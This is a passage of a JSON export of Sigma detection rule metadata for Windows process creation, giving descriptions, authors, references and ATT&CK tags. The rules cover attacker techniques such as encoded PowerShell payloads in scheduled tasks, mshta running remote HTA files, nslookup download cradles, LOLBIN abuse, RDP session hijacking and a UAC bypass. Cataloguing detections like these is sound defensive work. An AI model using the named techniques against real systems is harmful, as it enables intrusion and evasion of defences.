      "description": "Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.",
      "meta": {
        "author": "pH-T (Nextron Systems), @Kostastsale, @TheDFIRReport, X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/02/12",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_schtasks_reg_loader_encoded.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader_encoded.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1053.005",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78",
      "value": "Scheduled Task Executing Encoded Payload from Registry"
    },
    {
      "description": "Detects suspicious base64 encoded and obfuscated \"LOAD\" keyword used in .NET \"reflection.assembly\"",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/03/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_base64_reflection_assembly_load_obfusc.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0",
          "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/",
          "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load_obfusc.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1059.001",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1",
      "value": "Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call"
    },
    {
      "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/21",
        "falsepositive": [
          "Benign scheduled tasks creations or executions that happen often during software installations",
          "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders"
        ],
        "filename": "proc_creation_win_schtasks_env_folder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/",
          "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_env_folder.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "81325ce1-be01-4250-944f-b4789644556f",
      "value": "Suspicious Schtasks From Env Var Folder"
    },
    {
      "description": "Detects the use of SDelete to erase a file not the free space",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/06/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_sdelete.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sdelete.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a4824fca-976f-4964-b334-0621379e84c4",
      "value": "Potential File Overwrite Via Sysinternals SDelete"
    },
    {
      "description": "Detects PowerShell execution to set the ACL of a file or a folder",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_set_acl.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1",
          "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "bdeb2cff-af74-4094-8426-724dc937f20a",
      "value": "PowerShell Script Change Permission Via Set-Acl"
    },
    {
      "description": "Detects potential LethalHTA technique where the \"mshta.exe\" is spawned by an \"svchost.exe\" process",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2018/06/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mshta_lethalhta_technique.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://codewhitesec.blogspot.com/2018/07/lethalhta.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471",
      "value": "Potential LethalHTA Technique Execution"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_remote_access_tools_logmein.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_logmein.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d",
      "value": "Remote Access Tool - LogMeIn Execution"
    },
    {
      "description": "Detects renamed execution of \"Microsoft.NodejsTools.PressAnyKey.exe\", which can be abused as a LOLBIN to execute arbitrary binaries",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2023/04/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_pressanykey.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5",
          "https://twitter.com/mrd0x/status/1463526834918854661",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "65c3ca2c-525f-4ced-968e-246a713d164f",
      "value": "Visual Studio NodejsTools PressAnyKey Renamed Execution"
    },
    {
      "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_via_compress.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
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        ],
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      },
      "related": [
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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          ],
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        }
      ],
      "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7",
      "value": "Invoke-Obfuscation COMPRESS OBFUSCATION"
    },
    {
      "description": "Detects execution of \"curl.exe\" with the \"insecure\" flag over proxy or DOH.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Access to badly maintained internal or development systems"
        ],
        "filename": "proc_creation_win_curl_insecure_porxy_or_doh.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_porxy_or_doh.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "2c1486f5-02e8-4f86-9099-b97f2da4ed77",
      "value": "Insecure Proxy/DOH Transfer Via Curl.EXE"
    },
    {
      "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_mpiexec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1465058133303246867",
          "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mpiexec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d",
      "value": "MpiExec Lolbin"
    },
    {
      "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.",
      "meta": {
        "author": "Alfie Champion (ajpc500)",
        "creation_date": "2021/06/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_c3_rundll32_pattern.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12",
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        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
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        }
      ],
      "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f",
      "value": "HackTool - F-Secure C3 Load by Rundll32"
    },
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      "description": "Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_winword_dll_load.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py",
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        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
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      ],
      "uuid": "f7375e28-5c14-432f-b8d1-1db26c832df3",
      "value": "Potential Arbitrary DLL Load Using Winword"
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    {
      "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block",
      "meta": {
        "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community",
        "creation_date": "2019/11/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_obfuscated_iex_commandline.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_obfuscated_iex_commandline.yml"
        ],
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          "attack.defense_evasion",
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          "attack.execution",
          "attack.t1059.001"
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf",
      "value": "Invoke-Obfuscation Obfuscated IEX Invocation"
    },
    {
      "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.",
      "meta": {
        "author": "Eli Salem, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_regini_ads.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini",
          "https://lolbas-project.github.io/lolbas/Binaries/Regini/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml"
        ],
        "tags": [
          "attack.t1112",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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          ],
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        }
      ],
      "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682",
      "value": "Suspicious Registry Modification From ADS Via Regini.EXE"
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    {
      "description": "Detects usage of the \"type\" command to download/upload data from WebDAV server",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_type.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_type.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa0b3a82-eacc-4ec3-9150-b5a9a3e3f82f",
      "value": "Potential Download/Upload Activity Using Type Command"
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    {
      "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mshta_http.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218.005"
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      },
      "related": [
        {
          "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "b98d0db6-511d-45de-ad02-e82a98729620",
      "value": "Remotely Hosted HTA File Executed Via Mshta.EXE"
    },
    {
      "description": "Detects PowerShell scripts to set the ACL to a file in the Windows folder",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_set_acl_susp_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1",
          "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion"
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      },
      "uuid": "0944e002-e3f6-4eb5-bf69-3a3067b53d73",
      "value": "PowerShell Set-Acl On Windows Folder"
    },
    {
      "description": "Detects execution of LiveKD based on PE metadata or image name",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Administration and debugging activity (must be investigated)"
        ],
        "filename": "proc_creation_win_sysinternals_livekd_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/livekd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "a85f7765-698a-4088-afa0-ecfbf8d01fa4",
      "value": "Potential Memory Dumping Activity Via LiveKD"
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    {
      "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file located in suspicious locations.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/18",
        "falsepositive": [
          "Likelihood is related to how often the paths are used in the environment"
        ],
        "filename": "proc_creation_win_mstsc_run_local_rdp_file_susp_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/",
          "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file_susp_location.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
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      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e22722b-dfb1-4508-a911-49ac840b40f8",
      "value": "Suspicious Mstsc.EXE Execution With Local RDP File"
    },
    {
      "description": "Download or Copy file with Extrac32",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_extrac32.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d",
      "value": "Suspicious Extrac32 Execution"
    },
    {
      "description": "Detects potential RDP Session Hijacking activity on Windows systems",
      "meta": {
        "author": "@juju4",
        "creation_date": "2022/12/27",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_tscon_rdp_session_hijacking.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Moti_B/status/909449115477659651",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_rdp_session_hijacking.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "224f140f-3553-4cd1-af78-13d81bf9f7cc",
      "value": "Potential RDP Session Hijacking Activity"
    },
    {
      "description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_nslookup_poweshell_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Alh4zr3d/status/1566489367232651264",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23",
      "value": "Nslookup PowerShell Download Cradle - ProcessCreation"
    },
    {
      "description": "Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/11/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msbuild_susp_parent_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.echotrail.io/insights/search/msbuild.exe",
          "https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "33be4333-2c6b-44f4-ae28-102cdbde0a31",
      "value": "Suspicious Msbuild Execution By Uncommon Parent Process"
    },
    {
      "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.",
      "meta": {
        "author": "@ROxPinTeddy",
        "creation_date": "2020/05/12",
        "falsepositive": [
          "Legitimate use of Winrar command line version",
          "Other command line tools, that use these flags"
        ],
        "filename": "proc_creation_win_rar_compression_with_password.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/bash/rar.html",
          "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "faa48cae-6b25-4f00-a094-08947fef582f",
      "value": "Rar Usage with Password and Compression Level"
    },
    {
      "description": "Detects execution of different log query utilities to search and dump the content of specific event logs or look for specific event IDs.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Legitimate usage of the utility by administrators to query the event log"
        ],
        "filename": "proc_creation_win_susp_eventlog_content_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/content/dam/labs/docs/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3",
          "http://www.solomonson.com/posts/2010-07-09-reading-eventviewer-command-line/",
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/",
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1",
          "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a",
          "https://www.group-ib.com/blog/apt41-world-tour-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.discovery",
          "attack.t1552"
        ]
      },
      "related": [
        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf",
      "value": "Potentially Suspicious EventLog Recon Activity Using Log Query Utilities"
    },
    {
      "description": "Detects the execution of a renamed office binary",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_office_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://infosec.exchange/@sbousseaden/109542254124022664",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_office_processes.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "0b0cd537-fc77-4e6e-a973-e53495c1083d",
      "value": "Renamed Office Binary Execution"
    },
    {
      "description": "Detects execution of \"rundll32\" calling \"advpack.dll\" with potential obfuscated ordinal calls in order to leverage the \"RegisterOCX\" function",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_advpack_obfuscated_ordinal_call.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/",
          "https://twitter.com/Hexacorn/status/1224848930795552769",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_advpack_obfuscated_ordinal_call.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "a1473adb-5338-4a20-b4c3-126763e2d3d3",
      "value": "Suspicious Advpack Call Via Rundll32.EXE"
    },
    {
      "description": "Detects indicators of a UAC bypass method by mocking directories",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_trustedpath.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/netero1010/TrustedPath-UACBypass-BOF",
          "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e",
          "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_trustedpath.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126",
      "value": "TrustedPath UAC Bypass Pattern"
    },
    {
      "description": "Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/05/08",
        "falsepositive": [
          "Unknown"
        ],
